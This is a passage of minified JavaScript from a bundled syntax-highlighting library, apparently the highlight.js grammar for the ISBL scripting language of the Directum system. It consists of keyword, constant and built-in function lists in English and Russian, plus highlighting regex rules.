SYSDLG_SETUP_USERS_LIST SYSDLG_SIGN_EDOCUMENT SYSDLG_SIGN_MULTIPLE_EDOCUMENTS ",d="SYSREF_ACCESS_RIGHTS_TYPES SYSREF_ADMINISTRATION_HISTORY SYSREF_ALL_AVAILABLE_COMPONENTS SYSREF_ALL_AVAILABLE_PRIVILEGES SYSREF_ALL_REPLICATING_COMPONENTS SYSREF_AVAILABLE_DEVELOPERS_COMPONENTS SYSREF_CALENDAR_EVENTS SYSREF_COMPONENT_TOKEN_HISTORY SYSREF_COMPONENT_TOKENS SYSREF_COMPONENTS SYSREF_CONSTANTS SYSREF_DATA_RECEIVE_PROTOCOL SYSREF_DATA_SEND_PROTOCOL SYSREF_DIALOGS SYSREF_DIALOGS_REQUISITES SYSREF_EDITORS SYSREF_EDOC_CARDS SYSREF_EDOC_TYPES SYSREF_EDOCUMENT_CARD_REQUISITES SYSREF_EDOCUMENT_CARD_TYPES SYSREF_EDOCUMENT_CARD_TYPES_REFERENCE SYSREF_EDOCUMENT_CARDS SYSREF_EDOCUMENT_HISTORY SYSREF_EDOCUMENT_KINDS SYSREF_EDOCUMENT_REQUISITES SYSREF_EDOCUMENT_SIGNATURES SYSREF_EDOCUMENT_TEMPLATES SYSREF_EDOCUMENT_TEXT_STORAGES SYSREF_EDOCUMENT_VIEWS SYSREF_FILTERER_SETUP_CONFLICTS SYSREF_FILTRATER_SETTING_CONFLICTS SYSREF_FOLDER_HISTORY SYSREF_FOLDERS SYSREF_FUNCTION_GROUPS SYSREF_FUNCTION_PARAMS SYSREF_FUNCTIONS SYSREF_JOB_HISTORY SYSREF_LINKS SYSREF_LOCALIZATION_DICTIONARY SYSREF_LOCALIZATION_LANGUAGES SYSREF_MODULES SYSREF_PRIVILEGES SYSREF_RECORD_HISTORY SYSREF_REFERENCE_REQUISITES SYSREF_REFERENCE_TYPE_VIEWS SYSREF_REFERENCE_TYPES SYSREF_REFERENCES SYSREF_REFERENCES_REQUISITES SYSREF_REMOTE_SERVERS SYSREF_REPLICATION_SESSIONS_LOG SYSREF_REPLICATION_SESSIONS_PROTOCOL SYSREF_REPORTS SYSREF_ROLES SYSREF_ROUTE_BLOCK_GROUPS SYSREF_ROUTE_BLOCKS SYSREF_SCRIPTS SYSREF_SEARCHES SYSREF_SERVER_EVENTS SYSREF_SERVER_EVENTS_HISTORY SYSREF_STANDARD_ROUTE_GROUPS SYSREF_STANDARD_ROUTES SYSREF_STATUSES SYSREF_SYSTEM_SETTINGS SYSREF_TASK_HISTORY SYSREF_TASK_KIND_GROUPS SYSREF_TASK_KINDS SYSREF_TASK_RIGHTS SYSREF_TASK_SIGNATURES SYSREF_TASKS SYSREF_UNITS SYSREF_USER_GROUPS SYSREF_USER_GROUPS_REFERENCE SYSREF_USER_SUBSTITUTION SYSREF_USERS SYSREF_USERS_REFERENCE SYSREF_VIEWERS SYSREF_WORKING_TIME_CALENDARS ",r="ACCESS_RIGHTS_TABLE_NAME EDMS_ACCESS_TABLE_NAME EDOC_TYPES_TABLE_NAME ",c="TEST_DEV_DB_NAME TEST_DEV_SYSTEM_CODE TEST_EDMS_DB_NAME TEST_EDMS_MAIN_CODE TEST_EDMS_MAIN_DB_NAME TEST_EDMS_SECOND_CODE TEST_EDMS_SECOND_DB_NAME TEST_EDMS_SYSTEM_CODE TEST_ISB5_MAIN_CODE TEST_ISB5_SECOND_CODE TEST_SQL_SERVER_2005_NAME TEST_SQL_SERVER_NAME ",YA="ATTENTION_CAPTION cbsCommandLinks cbsDefault CONFIRMATION_CAPTION ERROR_CAPTION INFORMATION_CAPTION mrCancel mrOk ",e="EDOC_VERSION_ACTIVE_STAGE_CODE EDOC_VERSION_DESIGN_STAGE_CODE EDOC_VERSION_OBSOLETE_STAGE_CODE ",qA="cpDataEnciphermentEnabled cpDigitalSignatureEnabled cpID cpIssuer cpPluginVersion cpSerial cpSubjectName cpSubjSimpleName cpValidFromDate cpValidToDate ",HA="ISBL_SYNTAX NO_SYNTAX XML_SYNTAX ",_A="WAIT_BLOCK_AFTER_FINISH_EVENT WAIT_BLOCK_BEFORE_START_EVENT WAIT_BLOCK_DEADLINE_PROPERTY WAIT_BLOCK_IS_RELATIVE_DEADLINE_PROPERTY WAIT_BLOCK_NAME_PROPERTY WAIT_BLOCK_RELATIVE_DEADLINE_TYPE_PROPERTY ",a="SYSRES_COMMON SYSRES_CONST SYSRES_MBFUNC SYSRES_SBDATA SYSRES_SBGUI SYSRES_SBINTF SYSRES_SBREFDSC SYSRES_SQLERRORS SYSRES_SYSCOMP ",JA=z+"CR FALSE nil NO_VALUE NULL TAB TRUE YES_VALUE ADMINISTRATORS_GROUP_NAME CUSTOMIZERS_GROUP_NAME DEVELOPERS_GROUP_NAME SERVICE_USERS_GROUP_NAME "+J+O+X+"ENGLISH_LANGUAGE_CODE RUSSIAN_LANGUAGE_CODE smHidden smMaximized smMinimized smNormal wmNo wmYes "+G+"COMPONENT_TOKEN_LOCK_TYPE EDOCUMENT_VERSION_LOCK_TYPE "+W+D+j+M+P+f+N+T+C+R+x+"RESULT_VAR_NAME RESULT_VAR_NAME_ENG "+B+b+F+Q+u+d+r+c+YA+e+qA+HA+_A+a,jA="atUser atGroup atRole ",MA="aemEnabledAlways aemDisabledAlways aemEnabledOnBrowse aemEnabledOnEdit aemDisabledOnBrowseEmpty ",hA="apBegin apEnd ",yA="alLeft alRight ",AA="asmNever asmNoButCustomize asmAsLastTime asmYesButCustomize asmAlways ",wA="cirCommon cirRevoked ",GA="ctSignature ctEncode ctSignatureEncode ",OA="clbUnchecked clbChecked clbGrayed ",t="ceISB ceAlways ceNever ",XA="ctDocument ctReference ctScript ctUnknown ctReport ctDialog ctFunction ctFolder ctEDocument ctTask ctJob ctNotice ctControlJob ",VA="cfInternal cfDisplay ",vA="ciUnspecified ciWrite ciRead ",RA="ckFolder ckEDocument ckTask ckJob ckComponentToken ckAny ckReference ckScript ckReport ckDialog ",fA="ctISBLEditor ctBevel ctButton ctCheckListBox ctComboBox ctComboEdit ctGrid ctDBCheckBox ctDBComboBox ctDBEdit ctDBEllipsis ctDBMemo ctDBNavigator ctDBRadioGroup ctDBStatusLabel ctEdit ctGroupBox ctInplaceHint ctMemo ctPanel ctListBox ctRadioButton ctRichEdit ctTabSheet ctWebBrowser ctImage ctHyperLink ctLabel ctDBMultiEllipsis ctRibbon ctRichView ctInnerPanel ctPanelGroup ctBitButton ",LA="cctDate cctInteger cctNumeric cctPick cctReference cctString cctText ",SA="cltInternal cltPrimary cltGUI ",xA="dseBeforeOpen dseAfterOpen dseBeforeClose dseAfterClose dseOnValidDelete dseBeforeDelete dseAfterDelete dseAfterDeleteOutOfTransaction dseOnDeleteError dseBeforeInsert dseAfterInsert dseOnValidUpdate dseBeforeUpdate dseOnUpdateRatifiedRecord dseAfterUpdate dseAfterUpdateOutOfTransaction dseOnUpdateError dseAfterScroll dseOnOpenRecord dseOnCloseRecord dseBeforeCancel dseAfterCancel dseOnUpdateDeadlockError dseBeforeDetailUpdate dseOnPrepareUpdate dseOnAnyRequisiteChange ",iA="dssEdit dssInsert dssBrowse dssInActive ",lA="dftDate dftShortDate dftDateTime dftTimeStamp ",v1="dotDays dotHours dotMinutes dotSeconds ",I1="dtkndLocal dtkndUTC ",Q1="arNone arView arEdit arFull ",B1="ddaView ddaEdit ",C6="emLock emEdit emSign emExportWithLock emImportWithUnlock emChangeVersionNote emOpenForModify emChangeLifeStage emDelete emCreateVersion emImport emUnlockExportedWithLock emStart emAbort emReInit emMarkAsReaded emMarkAsUnreaded emPerform emAccept emResume emChangeRights emEditRoute emEditObserver emRecoveryFromLocalCopy emChangeWorkAccessType emChangeEncodeTypeToCertificate emChangeEncodeTypeToPassword emChangeEncodeTypeToNone emChangeEncodeTypeToCertificatePassword emChangeStandardRoute emGetText emOpenForView emMoveToStorage emCreateObject emChangeVersionHidden emDeleteVersion emChangeLifeCycleStage emApprovingSign emExport emContinue emLockFromEdit emUnLockForEdit emLockForServer emUnlockFromServer emDelegateAccessRights emReEncode ",w1="ecotFile ecotProcess ",$1="eaGet eaCopy eaCreate eaCreateStandardRoute ",N1="edltAll edltNothing edltQuery ",A6="essmText essmCard ",c1="esvtLast esvtLastActive esvtSpecified ",w6="edsfExecutive edsfArchive ",DA="edstSQLServer edstFile ",EA="edvstNone edvstEDocumentVersionCopy edvstFile edvstTemplate edvstScannedFile ",rA="vsDefault vsDesign vsActive vsObsolete ",J1="etNone etCertificate etPassword etCertificatePassword ",aA="ecException ecWarning ecInformation ",z1="estAll estApprovingOnly ",f1="evtLast evtLastActive evtQuery ",T1="fdtString fdtNumeric fdtInteger fdtDate fdtText fdtUnknown fdtWideString fdtLargeInteger ",K6="ftInbox ftOutbox ftFavorites ftCommonFolder ftUserFolder ftComponents ftQuickLaunch ftShortcuts ftSearch ",U6="grhAuto grhX1 grhX2 grhX3 ",e8="hltText hltRTF hltHTML ",D8="iffBMP iffJPEG iffMultiPageTIFF iffSinglePageTIFF iffTIFF iffPNG ",Y7="im8bGrayscale im24bRGB im1bMonochrome ",T7="itBMP itJPEG itWMF itPNG ",H4="ikhInformation ikhWarning ikhError ikhNoIcon ",u7="icUnknown icScript icFunction icIntegratedReport icAnalyticReport icDataSetEventHandler icActionHandler icFormEventHandler icLookUpEventHandler icRequisiteChangeEventHandler icBeforeSearchEventHandler icRoleCalculation icSelectRouteEventHandler icBlockPropertyCalculation icBlockQueryParamsEventHandler icChangeSearchResultEventHandler icBlockEventHandler icSubTaskInitEventHandler icEDocDataSetEventHandler icEDocLookUpEventHandler icEDocActionHandler icEDocFormEventHandler icEDocRequisiteChangeEventHandler icStructuredConversionRule icStructuredConversionEventBefore icStructuredConversionEventAfter icWizardEventHandler icWizardFinishEventHandler icWizardStepEventHandler icWizardStepFinishEventHandler icWizardActionEnableEventHandler icWizardActionExecuteEventHandler icCreateJobsHandler icCreateNoticesHandler icBeforeLookUpEventHandler icAfterLookUpEventHandler icTaskAbortEventHandler icWorkflowBlockActionHandler icDialogDataSetEventHandler icDialogActionHandler icDialogLookUpEventHandler icDialogRequisiteChangeEventHandler icDialogFormEventHandler icDialogValidCloseEventHandler icBlockFormEventHandler icTaskFormEventHandler icReferenceMethod icEDocMethod icDialogMethod icProcessMessageHandler ",s7="isShow isHide isByUserSettings ",k5="jkJob jkNotice jkControlJob ",iq="jtInner jtLeft jtRight jtFull jtCross ",r8="lbpAbove lbpBelow lbpLeft lbpRight ",E8="eltPerConnection eltPerUser ",X9="sfcUndefined sfcBlack sfcGreen sfcRed sfcBlue sfcOrange sfcLilac ",I3="sfsItalic sfsStrikeout sfsNormal ",Z3="ldctStandardRoute ldctWizard ldctScript ldctFunction ldctRouteBlock ldctIntegratedReport ldctAnalyticReport ldctReferenceType ldctEDocumentType ldctDialog ldctServerEvents ",S3="mrcrtNone mrcrtUser mrcrtMaximal mrcrtCustom ",dY="vtEqual vtGreaterOrEqual vtLessOrEqual vtRange ",vY="rdYesterday rdToday rdTomorrow rdThisWeek rdThisMonth rdThisYear rdNextMonth rdNextWeek rdLastWeek rdLastMonth ",$9="rdWindow rdFile rdPrinter ",EY="rdtString rdtNumeric rdtInteger rdtDate rdtReference rdtAccount rdtText rdtPick rdtUnknown rdtLargeInteger rdtDocument ",Yw="reOnChange reOnChangeValues ",QK="ttGlobal ttLocal ttUser ttSystem ",_9="ssmBrowse ssmSelect ssmMultiSelect ssmBrowseModal ",kY="smSelect smLike smCard ",gq="stNone stAuthenticating stApproving ",T6="sctString sctStream ",W7="sstAnsiSort sstNaturalSort ",Q8="svtEqual svtContain ",n4="soatString soatNumeric soatInteger soatDatetime soatReferenceRecord soatText soatPick soatBoolean soatEDocument soatAccount soatIntegerCollection soatNumericCollection soatStringCollection soatPickCollection soatDatetimeCollection soatBooleanCollection soatReferenceRecordCollection soatEDocumentCollection soatAccountCollection soatContents soatUnknown ",Xq="tarAbortByUser tarAbortByWorkflowException ",IK="tvtAllWords tvtExactPhrase tvtAnyWord ",h3="usNone usCompleted usRedSquare usBlueSquare usYellowSquare usGreenSquare usOrangeSquare usPurpleSquare usFollowUp ",Y4="utUnknown utUser utDeveloper utAdministrator utSystemDeveloper utDisconnected ",c8="btAnd btDetailAnd btOr btNotOr btOnly ",z4="vmView vmSelect vmNavigation ",$q="vsmSingle vsmMultiple vsmMultipleCheck vsmNoSelection ",p3="wfatPrevious wfatNext wfatCancel wfatFinish ",b5="wfepUndefined wfepText3 wfepText6 wfepText9 wfepSpinEdit wfepDropDown wfepRadioGroup wfepFlag wfepText12 wfepText15 wfepText18 wfepText21 wfepText24 wfepText27 wfepText30 wfepRadioGroupColumn1 wfepRadioGroupColumn2 wfepRadioGroupColumn3 ",W3="wfetQueryParameter wfetText wfetDelimiter wfetLabel ",q1="wptString wptInteger wptNumeric wptBoolean wptDateTime wptPick wptText wptUser wptUserList wptEDocumentInfo wptEDocumentInfoList wptReferenceRecordInfo wptReferenceRecordInfoList wptFolderInfo wptTaskInfo wptContents wptFileName wptDate ",NA="wsrComplete wsrGoNext wsrGoPrevious wsrCustom wsrCancel wsrGoFinal ",ZA="wstForm wstEDocument wstTaskCard wstReferenceRecordCard wstFinal ",gA="waAll waPerformers waManual ",pA="wsbStart wsbFinish wsbNotice wsbStep wsbDecision wsbWait wsbMonitor wsbScript wsbConnector wsbSubTask wsbLifeCycleStage wsbPause ",dA="wdtInteger wdtFloat wdtString wdtPick wdtDateTime wdtBoolean wdtTask wdtJob wdtFolder wdtEDocument wdtReferenceRecord wdtUser wdtGroup wdtRole wdtIntegerCollection wdtFloatCollection wdtStringCollection wdtPickCollection wdtDateTimeCollection wdtBooleanCollection wdtTaskCollection wdtJobCollection wdtFolderCollection wdtEDocumentCollection wdtReferenceRecordCollection wdtUserCollection wdtGroupCollection wdtRoleCollection wdtContents wdtUserList wdtSearchDescription wdtDeadLine wdtPickSet wdtAccountCollection ",G1="wiLow wiNormal wiHigh ",R1="wrtSoft wrtHard ",u1="wsInit wsRunning wsDone wsControlled wsAborted wsContinued ",s1="wtmFull wtmFromCurrent wtmOnlyCurrent ",E1="atUser atGroup atRole "+MA+"apBegin apEnd alLeft alRight "+AA+"cirCommon cirRevoked ctSignature ctEncode ctSignatureEncode clbUnchecked clbChecked clbGrayed ceISB ceAlways ceNever "+XA+"cfInternal cfDisplay ciUnspecified ciWrite ciRead "+RA+fA+LA+"cltInternal cltPrimary cltGUI "+xA+"dssEdit dssInsert dssBrowse dssInActive dftDate dftShortDate dftDateTime dftTimeStamp dotDays dotHours dotMinutes dotSeconds dtkndLocal dtkndUTC arNone arView arEdit arFull ddaView ddaEdit "+C6+"ecotFile ecotProcess eaGet eaCopy eaCreate eaCreateStandardRoute edltAll edltNothing edltQuery essmText essmCard esvtLast esvtLastActive esvtSpecified edsfExecutive edsfArchive edstSQLServer edstFile edvstNone edvstEDocumentVersionCopy edvstFile edvstTemplate edvstScannedFile vsDefault vsDesign vsActive vsObsolete etNone etCertificate etPassword etCertificatePassword ecException ecWarning ecInformation estAll estApprovingOnly evtLast evtLastActive evtQuery "+T1+K6+U6+e8+D8+Y7+T7+H4+u7+s7+k5+iq+r8+E8+X9+I3+Z3+S3+dY+vY+$9+EY+Yw+QK+_9+kY+gq+T6+W7+Q8+n4+Xq+IK+h3+Y4+c8+z4+$q+p3+b5+W3+q1+NA+ZA+gA+pA+dA+G1+R1+u1+s1,Z6="AddSubString AdjustLineBreaks AmountInWords Analysis ArrayDimCount ArrayHighBound ArrayLowBound ArrayOf ArrayReDim Assert Assigned BeginOfMonth BeginOfPeriod BuildProfilingOperationAnalysis CallProcedure CanReadFile CArrayElement CDataSetRequisite ChangeDate ChangeReferenceDataset Char CharPos CheckParam CheckParamValue CompareStrings ConstantExists ControlState ConvertDateStr Copy CopyFile CreateArray CreateCachedReference CreateConnection CreateDialog CreateDualListDialog CreateEditor CreateException CreateFile CreateFolderDialog CreateInputDialog CreateLinkFile CreateList CreateLock CreateMemoryDataSet CreateObject CreateOpenDialog CreateProgress CreateQuery CreateReference CreateReport CreateSaveDialog CreateScript CreateSQLPivotFunction CreateStringList CreateTreeListSelectDialog CSelectSQL CSQL CSubString CurrentUserID CurrentUserName CurrentVersion DataSetLocateEx DateDiff DateTimeDiff DateToStr DayOfWeek DeleteFile DirectoryExists DisableCheckAccessRights DisableCheckFullShowingRestriction DisableMassTaskSendingRestrictions DropTable DupeString EditText EnableCheckAccessRights EnableCheckFullShowingRestriction EnableMassTaskSendingRestrictions EndOfMonth EndOfPeriod ExceptionExists ExceptionsOff ExceptionsOn Execute ExecuteProcess Exit ExpandEnvironmentVariables ExtractFileDrive ExtractFileExt ExtractFileName ExtractFilePath ExtractParams FileExists FileSize FindFile FindSubString FirmContext ForceDirectories Format FormatDate FormatNumeric FormatSQLDate FormatString FreeException GetComponent GetComponentLaunchParam GetConstant GetLastException GetReferenceRecord GetRefTypeByRefID GetTableID GetTempFolder IfThen In IndexOf InputDialog InputDialogEx InteractiveMode IsFileLocked IsGraphicFile IsNumeric Length LoadString LoadStringFmt LocalTimeToUTC LowerCase Max MessageBox MessageBoxEx MimeDecodeBinary MimeDecodeString MimeEncodeBinary MimeEncodeString Min MoneyInWords MoveFile NewID Now OpenFile Ord Precision Raise ReadCertificateFromFile ReadFile ReferenceCodeByID ReferenceNumber ReferenceRequisiteMode ReferenceRequisiteValue RegionDateSettings RegionNumberSettings RegionTimeSettings RegRead RegWrite RenameFile Replace Round SelectServerCode SelectSQL ServerDateTime SetConstant SetManagedFolderFieldsState ShowConstantsInputDialog ShowMessage Sleep Split SQL SQL2XLSTAB SQLProfilingSendReport StrToDate SubString SubStringCount SystemSetting Time TimeDiff Today Transliterate Trim UpperCase UserStatus UTCToLocalTime ValidateXML VarIsClear VarIsEmpty VarIsNull WorkTimeDiff WriteFile WriteFileEx WriteObjectHistory "+"Анализ "+"БазаДанных "+"БлокЕсть "+"БлокЕстьРасш "+"БлокИнфо "+"БлокСнять "+"БлокСнятьРасш "+"БлокУстановить "+"Ввод "+"ВводМеню "+"ВедС "+"ВедСпр "+"ВерхняяГраницаМассива "+"ВнешПрогр "+"Восст "+"ВременнаяПапка "+"Время "+"ВыборSQL "+"ВыбратьЗапись "+"ВыделитьСтр "+"Вызвать "+"Выполнить "+"ВыпПрогр "+"ГрафическийФайл "+"ГруппаДополнительно "+"ДатаВремяСерв "+"ДеньНедели "+"ДиалогДаНет "+"ДлинаСтр "+"ДобПодстр "+"ЕПусто "+"ЕслиТо "+"ЕЧисло "+"ЗамПодстр "+"ЗаписьСправочника "+"ЗначПоляСпр "+"ИДТипСпр "+"ИзвлечьДиск "+"ИзвлечьИмяФайла "+"ИзвлечьПуть "+"ИзвлечьРасширение "+"ИзмДат "+"ИзменитьРазмерМассива "+"ИзмеренийМассива "+"ИмяОрг "+"ИмяПоляСпр "+"Индекс "+"ИндикаторЗакрыть "+"ИндикаторОткрыть "+"ИндикаторШаг "+"ИнтерактивныйРежим "+"ИтогТблСпр "+"КодВидВедСпр "+"КодВидСпрПоИД "+"КодПоAnalit "+"КодСимвола "+"КодСпр "+"КолПодстр "+"КолПроп "+"КонМес "+"Конст "+"КонстЕсть "+"КонстЗнач "+"КонТран "+"КопироватьФайл "+"КопияСтр "+"КПериод "+"КСтрТблСпр "+"Макс "+"МаксСтрТблСпр "+"Массив "+"Меню "+"МенюРасш "+"Мин "+"НаборДанныхНайтиРасш "+"НаимВидСпр "+"НаимПоAnalit "+"НаимСпр "+"НастроитьПереводыСтрок "+"НачМес "+"НачТран "+"НижняяГраницаМассива "+"НомерСпр "+"НПериод "+"Окно "+"Окр "+"Окружение "+"ОтлИнфДобавить "+"ОтлИнфУдалить "+"Отчет "+"ОтчетАнал "+"ОтчетИнт "+"ПапкаСуществует "+"Пауза "+"ПВыборSQL "+"ПереименоватьФайл "+"Переменные "+"ПереместитьФайл "+"Подстр "+"ПоискПодстр "+"ПоискСтр "+"ПолучитьИДТаблицы "+"ПользовательДополнительно "+"ПользовательИД "+"ПользовательИмя "+"ПользовательСтатус "+"Прервать "+"ПроверитьПараметр "+"ПроверитьПараметрЗнач "+"ПроверитьУсловие "+"РазбСтр "+"РазнВремя "+"РазнДат "+"РазнДатаВремя "+"РазнРабВремя "+"РегУстВрем "+"РегУстДат "+"РегУстЧсл "+"РедТекст "+"РеестрЗапись "+"РеестрСписокИменПарам "+"РеестрЧтение "+"РеквСпр "+"РеквСпрПр "+"Сегодня "+"Сейчас "+"Сервер "+"СерверПроцессИД "+"СертификатФайлСчитать "+"СжПроб "+"Символ "+"СистемаДиректумКод "+"СистемаИнформация "+"СистемаКод "+"Содержит "+"СоединениеЗакрыть "+"СоединениеОткрыть "+"СоздатьДиалог "+"СоздатьДиалогВыбораИзДвухСписков "+"СоздатьДиалогВыбораПапки "+"СоздатьДиалогОткрытияФайла "+"СоздатьДиалогСохраненияФайла "+"СоздатьЗапрос "+"СоздатьИндикатор "+"СоздатьИсключение "+"СоздатьКэшированныйСправочник "+"СоздатьМассив "+"СоздатьНаборДанных "+"СоздатьОбъект "+"СоздатьОтчет "+"СоздатьПапку "+"СоздатьРедактор "+"СоздатьСоединение "+"СоздатьСписок "+"СоздатьСписокСтрок "+"СоздатьСправочник "+"СоздатьСценарий "+"СоздСпр "+"СостСпр "+"Сохр "+"СохрСпр "+"СписокСистем "+"Спр "+"Справочник "+"СпрБлокЕсть "+"СпрБлокСнять "+"СпрБлокСнятьРасш "+"СпрБлокУстановить "+"СпрИзмНабДан "+"СпрКод "+"СпрНомер "+"СпрОбновить "+"СпрОткрыть "+"СпрОтменить "+"СпрПарам "+"СпрПолеЗнач "+"СпрПолеИмя "+"СпрРекв "+"СпрРеквВведЗн "+"СпрРеквНовые "+"СпрРеквПр "+"СпрРеквПредЗн "+"СпрРеквРежим "+"СпрРеквТипТекст "+"СпрСоздать "+"СпрСост "+"СпрСохранить "+"СпрТблИтог "+"СпрТблСтр "+"СпрТблСтрКол "+"СпрТблСтрМакс "+"СпрТблСтрМин "+"СпрТблСтрПред "+"СпрТблСтрСлед "+"СпрТблСтрСозд "+"СпрТблСтрУд "+"СпрТекПредст "+"СпрУдалить "+"СравнитьСтр "+"СтрВерхРегистр "+"СтрНижнРегистр "+"СтрТблСпр "+"СумПроп "+"Сценарий "+"СценарийПарам "+"ТекВерсия "+"ТекОрг "+"Точн "+"Тран "+"Транслитерация "+"УдалитьТаблицу "+"УдалитьФайл "+"УдСпр "+"УдСтрТблСпр "+"Уст "+"УстановкиКонстант "+"ФайлАтрибутСчитать "+"ФайлАтрибутУстановить "+"ФайлВремя "+"ФайлВремяУстановить "+"ФайлВыбрать "+"ФайлЗанят "+"ФайлЗаписать "+"ФайлИскать "+"ФайлКопировать "+"ФайлМожноЧитать "+"ФайлОткрыть "+"ФайлПереименовать "+"ФайлПерекодировать "+"ФайлПереместить "+"ФайлПросмотреть "+"ФайлРазмер "+"ФайлСоздать "+"ФайлСсылкаСоздать "+"ФайлСуществует "+"ФайлСчитать "+"ФайлУдалить "+"ФмтSQLДат "+"ФмтДат "+"ФмтСтр "+"ФмтЧсл "+"Формат "+"ЦМассивЭлемент "+"ЦНаборДанныхРеквизит "+"ЦПодстр ",Z8="AltState Application CallType ComponentTokens CreatedJobs CreatedNotices ControlState DialogResult Dialogs EDocuments EDocumentVersionSource Folders GlobalIDs Job Jobs InputValue LookUpReference LookUpRequisiteNames LookUpSearch Object ParentComponent Processes References Requisite ReportName Reports Result Scripts Searches SelectedAttachments SelectedItems SelectMode Sender ServerEvents ServiceFactory ShiftState SubTask SystemDialogs Tasks Wizard Wizards Work "+"ВызовСпособ "+"ИмяОтчета "+"РеквЗнач ",j4="IApplication IAccessRights IAccountRepository IAccountSelectionRestrictions IAction IActionList IAdministrationHistoryDescription IAnchors IApplication IArchiveInfo IAttachment IAttachmentList ICheckListBox ICheckPointedList IColumn IComponent IComponentDescription IComponentToken IComponentTokenFactory IComponentTokenInfo ICompRecordInfo IConnection IContents IControl IControlJob IControlJobInfo IControlList ICrypto ICrypto2 ICustomJob ICustomJobInfo ICustomListBox ICustomObjectWizardStep ICustomWork ICustomWorkInfo IDataSet IDataSetAccessInfo IDataSigner IDateCriterion IDateRequisite IDateRequisiteDescription IDateValue IDeaAccessRights IDeaObjectInfo IDevelopmentComponentLock IDialog IDialogFactory IDialogPickRequisiteItems IDialogsFactory IDICSFactory IDocRequisite IDocumentInfo IDualListDialog IECertificate IECertificateInfo IECertificates IEditControl IEditorForm IEdmsExplorer IEdmsObject IEdmsObjectDescription IEdmsObjectFactory IEdmsObjectInfo IEDocument IEDocumentAccessRights IEDocumentDescription IEDocumentEditor IEDocumentFactory IEDocumentInfo IEDocumentStorage IEDocumentVersion IEDocumentVersionListDialog IEDocumentVersionSource IEDocumentWizardStep IEDocVerSignature IEDocVersionState IEnabledMode IEncodeProvider IEncrypter IEvent IEventList IException IExternalEvents IExternalHandler IFactory IField IFileDialog IFolder IFolderDescription IFolderDialog IFolderFactory IFolderInfo IForEach IForm IFormTitle IFormWizardStep IGlobalIDFactory IGlobalIDInfo IGrid IHasher IHistoryDescription IHyperLinkControl IImageButton IImageControl IInnerPanel IInplaceHint IIntegerCriterion IIntegerList IIntegerRequisite IIntegerValue IISBLEditorForm IJob IJobDescription IJobFactory IJobForm IJobInfo ILabelControl ILargeIntegerCriterion ILargeIntegerRequisite ILargeIntegerValue ILicenseInfo ILifeCycleStage IList IListBox ILocalIDInfo ILocalization ILock IMemoryDataSet IMessagingFactory IMetadataRepository INotice INoticeInfo INumericCriterion INumericRequisite INumericValue IObject IObjectDescription IObjectImporter IObjectInfo IObserver IPanelGroup IPickCriterion IPickProperty IPickRequisite IPickRequisiteDescription IPickRequisiteItem IPickRequisiteItems IPickValue IPrivilege IPrivilegeList IProcess IProcessFactory IProcessMessage IProgress IProperty IPropertyChangeEvent IQuery IReference IReferenceCriterion IReferenceEnabledMode IReferenceFactory IReferenceHistoryDescription IReferenceInfo IReferenceRecordCardWizardStep IReferenceRequisiteDescription IReferencesFactory IReferenceValue IRefRequisite IReport IReportFactory IRequisite IRequisiteDescription IRequisiteDescriptionList IRequisiteFactory IRichEdit IRouteStep IRule IRuleList ISchemeBlock IScript IScriptFactory ISearchCriteria ISearchCriterion ISearchDescription ISearchFactory ISearchFolderInfo ISearchForObjectDescription ISearchResultRestrictions ISecuredContext ISelectDialog IServerEvent IServerEventFactory IServiceDialog IServiceFactory ISignature ISignProvider ISignProvider2 ISignProvider3 ISimpleCriterion IStringCriterion IStringList IStringRequisite IStringRequisiteDescription IStringValue ISystemDialogsFactory ISystemInfo ITabSheet ITask ITaskAbortReasonInfo ITaskCardWizardStep ITaskDescription ITaskFactory ITaskInfo ITaskRoute ITextCriterion ITextRequisite ITextValue ITreeListSelectDialog IUser IUserList IValue IView IWebBrowserControl IWizard IWizardAction IWizardFactory IWizardFormElement IWizardParam IWizardPickParam IWizardReferenceParam IWizardStep IWorkAccessRights IWorkDescription IWorkflowAskableParam IWorkflowAskableParams IWorkflowBlock IWorkflowBlockResult IWorkflowEnabledMode IWorkflowParam IWorkflowPickParam IWorkflowReferenceParam IWorkState IWorkTreeCustomNode IWorkTreeJobNode IWorkTreeTaskNode IXMLEditorForm SBCrypto ",d4=JA+E1,r4=Z8,U7="null true false nil ",Fq={className:"number",begin:A.NUMBER_RE,relevance:0},z2={className:"string",variants:[{begin:'"',end:'"'},{begin:"'",end:"'"}]},b3={className:"doctag",begin:"\\b(?:TODO|DONE|BEGIN|END|STUB|CHG|FIXME|NOTE|BUG|XXX)\\b",relevance:0},zw={className:"comment",begin:"//",end:"$",relevance:0,contains:[A.PHRASAL_WORDS_MODE,b3]},pw={className:"comment",begin:"/\\*",end:"\\*/",relevance:0,contains:[A.PHRASAL_WORDS_MODE,b3]},C0={variants:[zw,pw]},zJ={$pattern:"[A-Za-zА-Яа-яёЁ_!][A-Za-zА-Яа-яёЁ_0-9]*",keyword:Y,built_in:d4,class:r4,literal:"null true false nil "},NH={begin:"\\.\\s*"+A.UNDERSCORE_IDENT_RE,keywords:zJ,relevance:0},dw={className:"type",begin:":[ \\t]*("+j4.trim().replace(/\s/g,"|")+")",end:"[ \\t]*=",excludeEnd:!0},L0={className:"variable",keywords:zJ,begin:"[A-Za-zА-Яа-яёЁ_!][A-Za-zА-Яа-яёЁ_0-9]*",relevance:0,contains:[dw,NH]},Kz="[A-Za-zА-Яа-яёЁ_][A-Za-zА-Яа-яёЁ_0-9]*"+"\\(";return{name:"ISBL",case_insensitive:!0,keywords:zJ,illegal:"\\$|\\?|%|,|;$|~|#|@|</",contains:[{className:"function",begin:Kz,end:"\\)$",returnBegin:!0,keywords:zJ,illegal:"[\\[\\]\\|\\$\\?%,~#@]",contains:[{className:"title",keywords:{$pattern:"[A-Za-zА-Яа-яёЁ_!][A-Za-zА-Яа-яёЁ_0-9]*",built_in:Z6},begin:Kz,end:"\\(",returnBegin:!0,excludeEnd:!0},NH,L0,z2,Fq,C0]},dw,NH,L0,z2,Fq,C0]}}OO8.exports=sPq});var _O8=v((MCz,$O8)=>{var 